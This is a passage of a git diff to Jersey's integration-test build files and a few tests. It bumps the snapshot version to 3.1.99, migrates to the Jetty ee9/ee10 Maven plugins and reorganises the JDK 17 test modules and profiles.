+ <version>${jboss.logging.version}</version>
+ <scope>provided</scope>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.inject</groupId>
diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml
index b991dad..2f282d2 100644
--- a/tests/integration/jersey-4321/pom.xml
+++ b/tests/integration/jersey-4321/pom.xml
@@ -24,7 +24,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4507/pom.xml b/tests/integration/jersey-4507/pom.xml
index dc20389..4692702 100644
--- a/tests/integration/jersey-4507/pom.xml
+++ b/tests/integration/jersey-4507/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4542/pom.xml b/tests/integration/jersey-4542/pom.xml
index d106b98..27e87cf 100644
--- a/tests/integration/jersey-4542/pom.xml
+++ b/tests/integration/jersey-4542/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
index d773c46..d6b4b48 100644
--- a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
+++ b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,4 +17,9 @@
-->
-<beans/>
\ No newline at end of file
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
\ No newline at end of file
diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml
index 7672011..a3a8f27 100644
--- a/tests/integration/jersey-4697/pom.xml
+++ b/tests/integration/jersey-4697/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4722/pom.xml b/tests/integration/jersey-4722/pom.xml
index f5b7834..49b8878 100644
--- a/tests/integration/jersey-4722/pom.xml
+++ b/tests/integration/jersey-4722/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -39,13 +39,11 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish.jersey.test-framework.providers</groupId>
<artifactId>jersey-test-framework-provider-grizzly2</artifactId>
- <version>${project.version}</version>
<exclusions>
<exclusion>
<groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml
index d36f702..09e8c27 100644
--- a/tests/integration/jersey-4949/pom.xml
+++ b/tests/integration/jersey-4949/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-4949</artifactId>
@@ -60,8 +60,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<scan>10</scan>
<webApp>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml
index ed7ddc0..ba590c3 100644
--- a/tests/integration/jersey-5087/pom.xml
+++ b/tests/integration/jersey-5087/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml
index 9152e17..2906ed8 100644
--- a/tests/integration/jersey-780/pom.xml
+++ b/tests/integration/jersey-780/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-780</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index 853a70a..6ade6d7 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>microprofile-config-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -71,8 +71,9 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.mortbay.jetty</groupId>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
+ <version>${jetty11.version}</version>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/microprofile/config/pom.xml b/tests/integration/microprofile/config/pom.xml
index 7863a8a..d95ff83 100644
--- a/tests/integration/microprofile/config/pom.xml
+++ b/tests/integration/microprofile/config/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>microprofile-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>pom</packaging>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml
index d7e961f..b66d0dd 100644
--- a/tests/integration/microprofile/config/webapp/pom.xml
+++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>microprofile-config-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -57,8 +57,9 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.mortbay.jetty</groupId>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
+ <version>${jetty11.version}</version>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/microprofile/pom.xml b/tests/integration/microprofile/pom.xml
index 07a66be..a7e27e4 100644
--- a/tests/integration/microprofile/pom.xml
+++ b/tests/integration/microprofile/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>pom</packaging>
diff --git a/tests/integration/microprofile/rest-client-tck/pom.xml b/tests/integration/microprofile/rest-client-tck/pom.xml
index 496f1ca..b2a326f 100644
--- a/tests/integration/microprofile/rest-client-tck/pom.xml
+++ b/tests/integration/microprofile/rest-client-tck/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>microprofile-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
@@ -50,11 +50,11 @@
<artifactId>weld-se-core</artifactId>
<scope>test</scope>
</dependency>
- <!--<dependency>
+ <dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
- </dependency>-->
+ </dependency>
<dependency>
<groupId>io.smallrye.config</groupId>
<artifactId>smallrye-config</artifactId>
@@ -190,7 +190,7 @@
<name>skipTests</name>
<value>!true</value>
</property>
- <jdk>[11,)</jdk>
+ <jdk>[17,)</jdk>
</activation>
<build>
<plugins>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml
index c09534a..09204f9 100644
--- a/tests/integration/microprofile/rest-client/pom.xml
+++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>microprofile-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index 4f5245f..0899b3a 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
@@ -58,30 +58,27 @@
<module>jersey-4542</module>
<module>jersey-4697</module>
<module>jersey-4722</module>
- <module>microprofile</module>
- <module>reactive-streams</module>
<module>jersey-5087</module>
+ <module>microprofile</module>
+ <module>property-check</module>
+ <module>reactive-streams</module>
+ <module>servlet-2.5-reload</module>
+ <module>servlet-3-gf-async</module>
+ <module>servlet-3-sse-1</module>
+ <!-- <module>spring4</module>-->
+ <!-- <module>spring5</module>-->
+ <module>thin-server</module>
</modules>
+ <properties>
+ <env>default</env>
+ <jersey.config.test.container.port>9998</jersey.config.test.container.port>
+ <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file>
+ </properties>
+
<profiles>
<profile>
- <id>default</id>
- <properties>
- <env>default</env>
- <jersey.config.test.container.port>9998</jersey.config.test.container.port>
- </properties>
- <activation>
- <jdk>[1.8,)</jdk>
-<!-- <activeByDefault>true</activeByDefault> does not work ?!-->
- </activation>
- </profile>
- <profile>
<id>sonar</id>
- <properties>
- <env>default</env>
- <jersey.config.test.container.port>9998</jersey.config.test.container.port>
- <jetty.log.file>${project.build.directory}/jetty-out.log</jetty.log.file>
- </properties>
<build>
<pluginManagement>
<plugins>
@@ -123,9 +120,9 @@
</build>
</profile>
<profile>
- <id>Jetty11</id>
+ <id>jdk17</id>
<activation>
- <jdk>[11,)</jdk>
+ <jdk>[17,)</jdk>
</activation>
<modules>
<module>async-jersey-filter</module>
@@ -136,7 +133,6 @@
<module>jersey-1223</module>
<module>jersey-1604</module>
<module>jersey-1667</module>
-<!-- <module>jersey-1829</module> Jakartification-->
<module>jersey-1883</module>
<module>jersey-1928</module>
<module>jersey-1960</module>
@@ -163,7 +159,6 @@
<module>jersey-2892</module>
<module>jersey-3796</module>
<module>jersey-4949</module>
- <module>property-check</module>
<module>security-digest</module>
<module>servlet-2.5-autodiscovery-1</module>
<module>servlet-2.5-autodiscovery-2</module>
@@ -180,11 +175,9 @@
<module>servlet-2.5-mvc-1</module>
<module>servlet-2.5-mvc-2</module>
<module>servlet-2.5-mvc-3</module>
- <module>servlet-2.5-reload</module>
<module>servlet-3-async</module>
<module>servlet-3-chunked-io</module>
<module>servlet-3-filter</module>
- <module>servlet-3-gf-async</module>
<module>servlet-3-inflector-1</module>
<module>servlet-3-init-1</module>
<module>servlet-3-init-2</module>
@@ -197,22 +190,13 @@
<module>servlet-3-init-9</module>
<module>servlet-3-init-provider</module>
<module>servlet-3-params</module>
- <module>servlet-3-sse-1</module>
<module>servlet-4.0-mvc-1</module>
<module>servlet-tests</module>
<module>servlet-request-wrapper-binding</module>
<module>servlet-request-wrapper-binding-2</module>
<module>sonar-test</module>
- <module>tracing-support</module>
- </modules>
- </profile>
- <profile>
- <id>spring6-jdk17</id>
- <activation>
- <jdk>[17,)</jdk>
- </activation>
- <modules>
<module>spring6</module>
+ <module>tracing-support</module>
</modules>
</profile>
</profiles>
@@ -262,8 +246,8 @@
</executions>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee9</groupId>
+ <artifactId>jetty-ee9-maven-plugin</artifactId>
<version>${jetty.plugin.version}</version>
<configuration>
<skip>${skip.tests}</skip>
@@ -286,9 +270,45 @@
<goals>
<goal>start</goal>
</goals>
- <configuration>
- <scanIntervalSeconds>0</scanIntervalSeconds>
- </configuration>
+ </execution>
+ <execution>
+ <id>stop-jetty</id>
+ <phase>post-integration-test</phase>
+ <goals>
+ <goal>stop</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
+ <version>${jetty.plugin.version}</version>
+ <configuration>
+ <skip>${skip.tests}</skip>
+ <stopPort>9999</stopPort>
+ <stopKey>STOP</stopKey>
+ <stopWait>10</stopWait>
+ <webApp>
+ <contextPath>/</contextPath>
+ <webInfIncludeJarPattern>.*/.*jersey-[^/]\.jar$</webInfIncludeJarPattern>
+ </webApp>
+ <httpConnector>
+ <port>${jersey.config.test.container.port}</port>
+ <idleTimeout>60000</idleTimeout>
+ </httpConnector>
+ <systemProperties>
+ <PORT>${jersey.config.test.container.port}</PORT>
+ <IDLE_TIMEOUT>60000</IDLE_TIMEOUT>
+ </systemProperties>
+ </configuration>
+ <executions>
+ <execution>
+ <id>start-jetty</id>
+ <phase>pre-integration-test</phase>
+ <goals>
+ <goal>start</goal>
+ </goals>
</execution>
<execution>
<id>stop-jetty</id>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml
index ef3d8ac..2e49deb 100644
--- a/tests/integration/property-check/pom.xml
+++ b/tests/integration/property-check/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>property-check</artifactId>
@@ -79,6 +79,11 @@
<scope>test</scope>
</dependency>
<dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jnh-connector</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>oauth1-server</artifactId>
<version>${project.version}</version>
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
index 916bf81..00701ff 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
@@ -39,6 +39,7 @@
import org.glassfish.jersey.internal.util.PropertiesClass;
import org.glassfish.jersey.internal.util.Property;
import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpClientProperties;
import org.glassfish.jersey.media.multipart.MultiPartProperties;
import org.glassfish.jersey.message.MessageProperties;
import org.glassfish.jersey.server.ServerProperties;
@@ -96,6 +97,7 @@
System.setProperty(ApacheClientProperties.DISABLE_COOKIES, TEST_STRING);
System.setProperty(Apache5ClientProperties.DISABLE_COOKIES, TEST_STRING);
System.setProperty(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION, TEST_STRING);
+ System.setProperty(JavaNetHttpClientProperties.DISABLE_COOKIES, TEST_STRING);
System.setProperty(MultiPartProperties.TEMP_DIRECTORY, TEST_STRING);
System.setProperty(OAuth1ServerProperties.REALM, TEST_STRING);
JerseySystemPropertiesConfigurationModel model = new JerseySystemPropertiesConfigurationModel();
@@ -125,6 +127,8 @@
assertFalse(properties.containsKey(Apache5ClientProperties.CONNECTION_MANAGER));
assertEquals(TEST_STRING, properties.get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION));
assertFalse(properties.containsKey(JettyClientProperties.DISABLE_COOKIES));
+ assertEquals(TEST_STRING, properties.get(JavaNetHttpClientProperties.DISABLE_COOKIES));
+ assertFalse(properties.containsKey(JavaNetHttpClientProperties.SSL_PARAMETERS));
assertEquals(TEST_STRING, properties.get(MultiPartProperties.TEMP_DIRECTORY));
assertFalse(properties.containsKey(MultiPartProperties.BUFFER_THRESHOLD));
assertEquals(TEST_STRING, properties.get(OAuth1ServerProperties.REALM));
diff --git a/tests/integration/reactive-streams/pom.xml b/tests/integration/reactive-streams/pom.xml
index 5f9ecaa..3aa718b 100644
--- a/tests/integration/reactive-streams/pom.xml
+++ b/tests/integration/reactive-streams/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<packaging>pom</packaging>
diff --git a/tests/integration/reactive-streams/sse/pom.xml b/tests/integration/reactive-streams/sse/pom.xml
index 2230577..30efa42 100644
--- a/tests/integration/reactive-streams/sse/pom.xml
+++ b/tests/integration/reactive-streams/sse/pom.xml
@@ -22,7 +22,7 @@
<parent>
<artifactId>reactive-streams-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.reactive</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml
index c46f761..2fbd558 100644
--- a/tests/integration/security-digest/pom.xml
+++ b/tests/integration/security-digest/pom.xml
@@ -21,7 +21,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>security-digest</artifactId>
@@ -58,15 +58,20 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
+ <webApp>
+ <parentLoaderPriority>true</parentLoaderPriority>
+ </webApp>
<!-- define login service for jetty and the realm to be used -->
<loginServices>
<loginService implementation="org.eclipse.jetty.security.HashLoginService">
<name>my-realm</name>
- <config>${basedir}/src/main/resources/jetty/realm.properties</config>
+ <config implementation="org.eclipse.jetty.ee10.maven.plugin.MavenResource">
+ <resourceAsString>${basedir}/src/main/resources/jetty/realm.properties</resourceAsString>
+ </config>
</loginService>
</loginServices>
</configuration>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
index a369114..7927156 100644
--- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-autodiscovery-1</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
index 1f068a0..1d41d94 100644
--- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-autodiscovery-2</artifactId>
@@ -67,8 +67,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml
index 2d07e5e..d690645 100644
--- a/tests/integration/servlet-2.5-filter/pom.xml
+++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-filter</artifactId>
@@ -60,8 +60,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml
index 2a94b1a..2dddb72 100644
--- a/tests/integration/servlet-2.5-inflector-1/pom.xml
+++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-inflector-1</artifactId>
@@ -43,7 +43,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -65,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml
index 6a774f3..72d51d4 100644
--- a/tests/integration/servlet-2.5-init-1/pom.xml
+++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-1</artifactId>
@@ -36,7 +36,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
@@ -63,8 +62,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
index c44f34a..d3c0e0e 100644
--- a/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
+++ b/tests/integration/servlet-2.5-init-1/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_1/Servlet25Init1ITCase.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -87,7 +87,7 @@
@Test
public void testInjection() {
String s = target().path("servlet_path/helloworld/injection").request().get(String.class);
- assertEquals("GETtruetestServlet1testServlet1/", s);
+ assertEquals("GETtruetestServlet1testServlet1ROOT", s);
}
// Reproducer for JERSEY-1801
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml
index a60c25a..7aca915 100644
--- a/tests/integration/servlet-2.5-init-2/pom.xml
+++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-2</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml
index f9d667b..44a2ee6 100644
--- a/tests/integration/servlet-2.5-init-3/pom.xml
+++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-3</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml
index cc145f5..2bf7013 100644
--- a/tests/integration/servlet-2.5-init-4/pom.xml
+++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-4</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml
index 8df42ce..94e4380 100644
--- a/tests/integration/servlet-2.5-init-5/pom.xml
+++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>servlet-2.5-init-5</artifactId>
@@ -56,8 +56,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
